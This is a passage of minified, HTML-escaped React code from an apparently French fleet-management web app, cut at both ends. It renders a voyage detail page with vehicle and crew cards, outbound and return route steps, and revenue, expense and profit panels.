flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-1&quot;,children:&quot;Itinéraire&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-semibold text-base&quot;,children:u.loadingSite}),a.jsx(ov,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold text-base&quot;,children:u.unloadingSite})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(rt,{className:`h-6 w-6 ${oO[u.status]?.split(&quot; &quot;)[1]||&quot;text-gray-500&quot;}`}),a.jsx(yt,{className:`${oO[u.status]} text-base px-4 py-2`,children:WHe[u.status]||u.status})]})]})]})})}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsx(it,{className:&quot;border-2 hover:shadow-md transition-shadow&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center text-center space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded-lg overflow-hidden border-2 bg-muted&quot;,children:[u.vehicle?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(u.vehicle.photoUrl)||void 0,alt:u.vehicle.immatriculation,className:&quot;w-full h-full object-cover&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center&quot;,children:a.jsx(Fa,{className:&quot;h-16 w-16 text-muted-foreground&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{className:&quot;bg-primary text-primary-foreground text-sm font-bold px-3 py-1&quot;,children:&quot;CAMION&quot;})})]}),a.jsx(&quot;p&quot;,{className:&quot;font-bold text-lg text-foreground&quot;,children:u.vehicle?.immatriculation||&quot;—&quot;})]})})}),a.jsx(it,{className:&quot;border-2 hover:shadow-md transition-shadow&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center text-center space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded-lg overflow-hidden border-2 bg-muted&quot;,children:[u.trailer?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(u.trailer.photoUrl)||void 0,alt:u.trailer.numeroChassis,className:&quot;w-full h-full object-cover&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center&quot;,children:a.jsx(il,{className:&quot;h-16 w-16 text-muted-foreground&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{className:&quot;bg-secondary text-secondary-foreground text-sm font-bold px-3 py-1&quot;,children:&quot;REMORQUE&quot;})})]}),a.jsx(&quot;p&quot;,{className:&quot;font-bold text-lg text-foreground&quot;,children:u.trailer?.numeroChassis||&quot;—&quot;})]})})})]}),a.jsx(it,{className:&quot;border-2&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row gap-4 md:gap-6&quot;,children:[u.mainDriver&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 flex-1&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative flex-shrink-0&quot;,children:u.mainDriver.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(u.mainDriver.photoUrl)||void 0,alt:`${u.mainDriver.prenom} ${u.mainDriver.nom}`,className:&quot;w-16 h-16 rounded-full object-cover border-2 border-primary/20&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-16 h-16 rounded-full bg-muted flex items-center justify-center border-2 border-primary/20&quot;,children:a.jsx(Sm,{className:&quot;h-8 w-8 text-muted-foreground&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(yt,{className:&quot;bg-primary text-primary-foreground text-sm font-bold px-3 py-1 mb-1&quot;,children:&quot;CHAUFFEUR&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground font-medium&quot;,children:u.mainDriver.prenom})]})]}),u.additionalCrew&amp;&amp;u.additionalCrew.length&gt;0&amp;&amp;a.jsx(a.Fragment,{children:u.additionalCrew.map(ie=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 flex-1&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative flex-shrink-0&quot;,children:ie.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(ie.photoUrl)||void 0,alt:`${ie.prenom} ${ie.nom}`,className:&quot;w-16 h-16 rounded-full object-cover border-2 border-secondary/20&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-16 h-16 rounded-full bg-muted flex items-center justify-center border-2 border-secondary/20&quot;,children:a.jsx(Sm,{className:&quot;h-8 w-8 text-muted-foreground&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(yt,{className:&quot;bg-secondary text-secondary-foreground text-sm font-bold px-3 py-1 mb-1&quot;,children:&quot;APPRENTI&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground font-medium&quot;,children:ie.prenom})]})]},ie.id))})]})})}),a.jsx(it,{className:&quot;border-2&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4 md:gap-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(Sl,{className:&quot;h-5 w-5 text-muted-foreground flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Date de départ prévue&quot;}),u.plannedStartAt?a.jsxs(&quot;div&quot;,{className:&quot;flex items-baseline gap-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-base font-bold text-foreground&quot;,children:Wr(new Date(u.plannedStartAt),&quot;dd MMM yyyy&quot;,{locale:Hr})}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:Wr(new Date(u.plannedStartAt),&quot;HH:mm&quot;,{locale:Hr})})]}):a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground italic&quot;,children:&quot;Non définie&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(Sl,{className:&quot;h-5 w-5 text-muted-foreground flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Date de retour prévue&quot;}),u.plannedEndAt?a.jsxs(&quot;div&quot;,{className:&quot;flex items-baseline gap-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-base font-bold text-foreground&quot;,children:Wr(new Date(u.plannedEndAt),&quot;dd MMM yyyy&quot;,{locale:Hr})}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:Wr(new Date(u.plannedEndAt),&quot;HH:mm&quot;,{locale:Hr})})]}):a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground italic&quot;,children:&quot;Non définie&quot;})]})]})]})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2 justify-end&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;V(!0),children:[a.jsx(Nse,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ordre de mission&quot;]}),ue&amp;&amp;a.jsxs(ge,{variant:&quot;outline&quot;,onClick:()=&gt;r(`/voyages/${u.id}/edit`),children:[a.jsx($m,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Modifier&quot;]}),a.jsxs(ge,{onClick:()=&gt;r(`/trajets/new?missionId=${u.id}`),children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un trajet&quot;]}),ue&amp;&amp;a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;C(!0),className:&quot;text-destructive hover:text-destructive hover:bg-destructive/10&quot;,children:E?a.jsxs(a.Fragment,{children:[a.jsx(ise,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Archiver&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]})})]})]}),a.jsxs(ul,{value:c,onValueChange:d,className:&quot;space-y-6&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-5&quot;,children:[a.jsxs(hn,{value:&quot;resume&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4&quot;}),&quot;Résumé&quot;]}),a.jsxs(hn,{value:&quot;trajets&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-4 w-4&quot;}),&quot;Trajets&quot;]}),a.jsxs(hn,{value:&quot;journal&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Wf,{className:&quot;h-4 w-4&quot;}),&quot;Journal&quot;]}),a.jsxs(hn,{value:&quot;carte&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(u1,{className:&quot;h-4 w-4&quot;}),&quot;Carte&quot;]}),a.jsxs(hn,{value:&quot;argent&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(_se,{className:&quot;h-4 w-4&quot;}),&quot;Argent&quot;]})]}),a.jsx(dn,{value:&quot;resume&quot;,className:&quot;space-y-6&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Informations générales&quot;}),a.jsx(wn,{children:&quot;Détails du voyage et du chargement&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-medium mb-2 flex items-center gap-2&quot;,children:[a.jsx(il,{className:&quot;h-4 w-4&quot;}),&quot;Type de chargement&quot;]}),a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-base px-3 py-1&quot;,children:u.loadingType})]}),a.jsx(Wb,{}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-medium mb-2 flex items-center gap-2&quot;,children:[a.jsx(dm,{className:&quot;h-4 w-4&quot;}),&quot;Client&quot;]}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:u.clientName}),u.clientReference&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:[&quot;Ref: &quot;,u.clientReference]})]}),a.jsx(Wb,{}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium mb-2&quot;,children:&quot;Itinéraire&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5 text-primary&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:u.loadingSite}),a.jsx(ov,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsx(ei,{className:&quot;h-5 w-5 text-primary&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:u.unloadingSite})]})]}),a.jsx(Wb,{}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-medium mb-2 flex items-center gap-2&quot;,children:[a.jsx(ey,{className:&quot;h-4 w-4&quot;}),&quot;Bon de chargement&quot;]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-base&quot;,children:[&quot;N° &quot;,u.loadingOrderNumber]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:u.loadingOrderDate&amp;&amp;Wr(new Date(u.loadingOrderDate),&quot;PPP&quot;,{locale:Hr})}),u.loadingBonImageUrl?a.jsxs(&quot;div&quot;,{className:&quot;mt-3 relative group&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(u.loadingBonImageUrl)||u.loadingBonImageUrl,alt:&quot;Bon de chargement&quot;,className:&quot;w-full max-w-md h-auto rounded-lg border cursor-pointer hover:opacity-90 transition-opacity&quot;,onClick:()=&gt;J(!0)}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2 opacity-0 group-hover:opacity-100 transition-opacity bg-background/80&quot;,onClick:()=&gt;J(!0),children:a.jsx(hI,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;mt-3 p-8 border-2 border-dashed rounded-lg text-center&quot;,children:[a.jsx(po,{className:&quot;h-12 w-12 mx-auto text-muted-foreground mb-2&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Photo du bon non ajoutée&quot;})]})]})]})]})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Nombre de tours prévus&quot;}),a.jsx(wn,{children:&quot;Suivi de la progression des tours&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:&quot;1 tour = aller + retour complet&quot;}),u.expectedTours&amp;&amp;u.expectedTours&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Tours réalisés&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:[ce.completed,&quot; / &quot;,ce.total,&quot; voyages&quot;]})]}),a.jsx(QS,{value:ce.percentage,className:&quot;h-3&quot;})]})]})]})]})})}),a.jsx(dn,{value:&quot;trajets&quot;,className:&quot;space-y-6&quot;,children:y?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):A?a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[A.outbound&amp;&amp;A.outbound.steps.length&gt;0&amp;&amp;a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-5 w-5&quot;}),&quot;Trajet ALLER&quot;]}),A.outbound.currentStepId!==null?a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-blue-500/10 text-blue-700 dark:text-blue-400 border-blue-300&quot;,children:&quot;En cours&quot;}):A.outbound.steps.every(ie=&gt;ie.reachedAt)?a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-green-500/10 text-green-700 dark:text-green-400 border-green-300&quot;,children:&quot;Terminé&quot;}):a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-gray-500/10 text-gray-700 dark:text-gray-400 border-gray-300&quot;,children:&quot;Planifié&quot;})]})}),a.jsx(Et,{children:a.jsx(&quot;div&quot;,{className:&quot;space-y-0&quot;,children:A.outbound.steps.map((ie,ae)=&gt;{const Ee=!!ie.reachedAt,re=ie.id===A.outbound.currentStepId&amp;&amp;!Ee,We={usine:dm,douane:Kn,dépôt:il,autre:ei},Tt={usine:&quot;Usine&quot;,douane:&quot;Douane&quot;,dépôt:&quot;Dépôt&quot;,autre:&quot;Autre&quot;},H=We[ie.category]||ei,ze=re?&quot;border-blue-500&quot;:Ee?&quot;border-green-500&quot;:&quot;border-blue-300&quot;,Ze=Ee?&quot;bg-green-300&quot;:&quot;bg-blue-300&quot;,he=Ee?&quot;bg-green-500&quot;:&quot;bg-blue-500&quot;;return a.jsxs(&quot;div&quot;,{className:&quot;relative flex items-start gap-3 py-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 relative z-10&quot;,children:re?a.jsx(&quot;div&quot;,{className:&quot;w-6 h-6 rounded-full bg-blue-500 flex items-center justify-center&quot;,children:a.jsx(Bl,{className:&quot;h-4 w-4 text-white&quot;})}):Ee?a.jsx(&quot;div&quot;,{className:&quot;w-6 h-6 rounded-full bg-green-500 border-2 border-green-500&quot;}):a.jsx(&quot;div&quot;,{className:`w-6 h-6 rounded-full border-2 ${ze} bg-white dark:bg-gray-800`})}),a.jsx(&quot;div&quot;,{className:`flex-shrink-0 w-8 h-8 ${he} rounded flex items-center justify-center`,children:a.jsx(H,{className:&quot;h-5 w-5 text-white&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-1&quot;,children:[a.jsx(&quot;h4&quot;,{className:&quot;font-semibold text-base&quot;,children:ie.label}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-gray-100 dark:bg-gray-800&quot;,children:Tt[ie.category]||ie.category})]}),re&amp;&amp;!Ee&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-blue-600 dark:text-blue-400 font-medium&quot;,children:&quot;Étape en cours&quot;}),Ee&amp;&amp;ie.reachedAt&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-green-600 dark:text-green-400&quot;,children:[&quot;Atteint le &quot;,Wr(new Date(ie.reachedAt),&quot;dd MMM yyyy à HH:mm&quot;,{locale:Hr})]})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;flex-shrink-0 w-6 h-6 rounded-full&quot;,children:a.jsx(Gl,{className:&quot;h-4 w-4 text-muted-foreground&quot;})}),ae&lt;A.outbound.steps.length-1&amp;&amp;a.jsx(&quot;div&quot;,{className:`absolute left-3 top-9 w-0.5 h-full ${Ze} border-dashed`,style:{borderStyle:&quot;dashed&quot;}})]},ie.id||`outbound-${ae}`)})})})]}),A.inbound&amp;&amp;A.inbound.steps.length&gt;0&amp;&amp;a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-5 w-5&quot;}),&quot;Trajet RETOUR&quot;]}),A.inbound.currentStepId!==null?a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-blue-500/10 text-blue-700 dark:text-blue-400 border-blue-300&quot;,children:&quot;En cours&quot;}):A.inbound.steps.every(ie=&gt;ie.reachedAt)?a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-green-500/10 text-green-700 dark:text-green-400 border-green-300&quot;,children:&quot;Terminé&quot;}):a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-gray-500/10 text-gray-700 dark:text-gray-400 border-gray-300&quot;,children:&quot;Planifié&quot;})]})}),a.jsx(Et,{children:a.jsx(&quot;div&quot;,{className:&quot;space-y-0&quot;,children:A.inbound.steps.map((ie,ae)=&gt;{const Ee=!!ie.reachedAt,re=ie.id===A.inbound.currentStepId&amp;&amp;!Ee,We={usine:dm,douane:Kn,dépôt:il,autre:ei},Tt={usine:&quot;Usine&quot;,douane:&quot;Douane&quot;,dépôt:&quot;Dépôt&quot;,autre:&quot;Autre&quot;},H=We[ie.category]||ei,ze=re?&quot;border-blue-500&quot;:Ee?&quot;border-green-500&quot;:&quot;border-blue-300&quot;,Ze=Ee?&quot;bg-green-300&quot;:&quot;bg-blue-300&quot;,he=Ee?&quot;bg-green-500&quot;:&quot;bg-blue-500&quot;;return a.jsxs(&quot;div&quot;,{className:&quot;relative flex items-start gap-3 py-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 relative z-10&quot;,children:re?a.jsx(&quot;div&quot;,{className:&quot;w-6 h-6 rounded-full bg-blue-500 flex items-center justify-center&quot;,children:a.jsx(Bl,{className:&quot;h-4 w-4 text-white&quot;})}):Ee?a.jsx(&quot;div&quot;,{className:&quot;w-6 h-6 rounded-full bg-green-500 border-2 border-green-500&quot;}):a.jsx(&quot;div&quot;,{className:`w-6 h-6 rounded-full border-2 ${ze} bg-white dark:bg-gray-800`})}),a.jsx(&quot;div&quot;,{className:`flex-shrink-0 w-8 h-8 ${he} rounded flex items-center justify-center`,children:a.jsx(H,{className:&quot;h-5 w-5 text-white&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-1&quot;,children:[a.jsx(&quot;h4&quot;,{className:&quot;font-semibold text-base&quot;,children:ie.label}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-gray-100 dark:bg-gray-800&quot;,children:Tt[ie.category]||ie.category})]}),re&amp;&amp;!Ee&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-blue-600 dark:text-blue-400 font-medium&quot;,children:&quot;Étape en cours&quot;}),Ee&amp;&amp;ie.reachedAt&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-green-600 dark:text-green-400&quot;,children:[&quot;Atteint le &quot;,Wr(new Date(ie.reachedAt),&quot;dd MMM yyyy à HH:mm&quot;,{locale:Hr})]})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;flex-shrink-0 w-6 h-6 rounded-full&quot;,children:a.jsx(Gl,{className:&quot;h-4 w-4 text-muted-foreground&quot;})}),ae&lt;A.inbound.steps.length-1&amp;&amp;a.jsx(&quot;div&quot;,{className:`absolute left-3 top-9 w-0.5 h-full ${Ze} border-dashed`,style:{borderStyle:&quot;dashed&quot;}})]},ie.id||`inbound-${ae}`)})})})]}),(!A.outbound||A.outbound.steps.length===0)&amp;&amp;(!A.inbound||A.inbound.steps.length===0)&amp;&amp;a.jsx(it,{children:a.jsx(Et,{className:&quot;py-8 text-center text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucune étape définie pour ce type de voyage&quot;})})})]}):a.jsx(it,{children:a.jsx(Et,{className:&quot;py-8 text-center text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Impossible de charger les étapes du voyage&quot;})})})}),a.jsxs(dn,{value:&quot;journal&quot;,className:&quot;space-y-6&quot;,&quot;data-tab&quot;:&quot;journal&quot;,children:[a.jsx(NHe,{voyageId:n||0,incidentId:l||void 0,onViewIncident:ie=&gt;{console.log(&quot;Voir incident&quot;,ie)},onCreateIncident:()=&gt;{ee(!0)}}),a.jsx(SHe,{voyageId:n||0,open:q,onOpenChange:ee})]}),a.jsx(dn,{value:&quot;carte&quot;,className:&quot;space-y-6&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Visualisation cartographique&quot;}),a.jsx(wn,{children:&quot;Suivi géographique des trajets du voyage&quot;})]}),a.jsx(Et,{children:a.jsxs(&quot;div&quot;,{className:&quot;text-center py-12 text-muted-foreground&quot;,children:[a.jsx(u1,{className:&quot;h-12 w-12 mx-auto mb-4 opacity-50&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;En développement&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm&quot;,children:&quot;La visualisation cartographique sera bientôt disponible.&quot;})]})})]})}),a.jsxs(dn,{value:&quot;argent&quot;,className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-3 gap-4&quot;,children:[a.jsxs(it,{className:&quot;border-green-200 dark:border-green-900&quot;,children:[a.jsx(br,{className:&quot;pb-3&quot;,children:a.jsxs(jr,{className:&quot;text-sm font-medium text-muted-foreground flex items-center gap-2&quot;,children:[a.jsx(fI,{className:&quot;h-5 w-5 text-green-500&quot;}),&quot;Ce que le client paye&quot;]})}),a.jsxs(Et,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-3xl font-bold text-green-600 dark:text-green-400&quot;,children:He(Bt.totalRevenues)}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Total payé par le client&quot;})]})]}),a.jsxs(it,{className:&quot;border-red-200 dark:border-red-900&quot;,children:[a.jsx(br,{className:&quot;pb-3&quot;,children:a.jsxs(jr,{className:&quot;text-sm font-medium text-muted-foreground flex items-center gap-2&quot;,children:[a.jsx(fI,{className:&quot;h-5 w-5 text-red-500&quot;}),&quot;Ce que le voyage coûte&quot;]})}),a.jsxs(Et,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-3xl font-bold text-red-600 dark:text-red-400&quot;,children:He(Bt.totalExpenses)}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Total des dépenses&quot;})]})]}),a.jsxs(it,{className:`${Bt.profit&gt;=0?&quot;border-violet-200 dark:border-violet-900&quot;:&quot;border-red-200 dark:border-red-900&quot;}`,children:[a.jsx(br,{className:&quot;pb-3&quot;,children:a.jsxs(jr,{className:&quot;text-sm font-medium text-muted-foreground flex items-center gap-2&quot;,children:[a.jsx(fI,{className:`h-5 w-5 ${Bt.profit&gt;=0?&quot;text-violet-500&quot;:&quot;text-red-500&quot;}`}),Bt.profit&gt;=0?&quot;Bénéfice&quot;:&quot;Perte estimée&quot;]})}),a.jsxs(Et,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:`text-3xl font-bold ${Bt.profit&gt;=0?&quot;text-violet-600 dark:text-violet-400&quot;:&quot;text-red-600 dark:text-red-400&quot;}`,children:He(Math.abs(Bt.profit))}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:Bt.profit&gt;=0?&quot;Bénéfice pour ce voyage&quot;:&quot;Perte estimée pour ce voyage&quot;})]})]})]}),Bt.totalRevenues&gt;0&amp;&amp;a.jsxs(it,{children:[a.jsx(br,{children:a.jsx(jr,{className:&quot;text-sm&quot;,children:&quot;Répartition des montants&quot;})}),a.jsxs(Et,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between text-xs&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-green-600 dark:text-green-400&quot;,children:&quot;Revenus&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:He(Bt.totalRevenues)})]}),a.jsx(&quot;div&quot;,{className:&quot;h-4 bg-green-200 dark:bg-green-900 rounded-full overflow-hidden&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;h-full bg-green-500&quot;,style:{width:&quot;100%&quot;}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between text-xs&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-red-600 dark:text-red-400&quot;,children:&quot;Dépenses&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:He(Bt.totalExpenses)})]}),a.jsx(&quot;div&quot;,{className:&quot;h-4 bg-red-200 dark:bg-red-900 rounded-full overflow-hidden&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;h-full bg-red-500&quot;,style:{width:`${Bt.totalRevenues&gt;0?Bt.totalExpenses/Bt.totalRevenues*100:0}%`}})})]})]})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(jr,{children:&quot;Revenus du voyage&quot;}),a.jsx(wn,{children:&quot;Ce que le client paye&quot;})]}),Ie.length===0&amp;&amp;a.jsx(R3,{missionId:n,onAdd:tr})]})}),a.jsx(Et,{children:be?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):Ie.length===0?a.jsxs(&quot;div&quot;,{className:&quot;text-center py-12 text-muted-foreground&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;mb-4&quot;,children:&quot;Aucun revenu enregistré pour ce voyage&quot;}),a.jsx(R3,{missionId:n,onAdd:tr})]}):a.jsx(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:Ie.map(ie=&gt;a.jsx(VHe,{revenue:ie,onEdit:sr,onDelete:wt},ie.id))})})]}),Q&amp;&amp;a.jsx(R3,{missionId:n||0,revenue:Q,mode:&quot;edit&quot;,onAdd:xt,open:!!Q,onOpenChange:ie=&gt;{ie||R(null)}}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(jr,{children:&quot;Dépenses générales du voyage&quot;}),a.jsxs(wn,{children:[&quot;Dépenses générales du voyage&quot;,Bt.voyageExpensesTotal&gt;0&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;ml-2 text-xs&quot;,children:[&quot;(+ 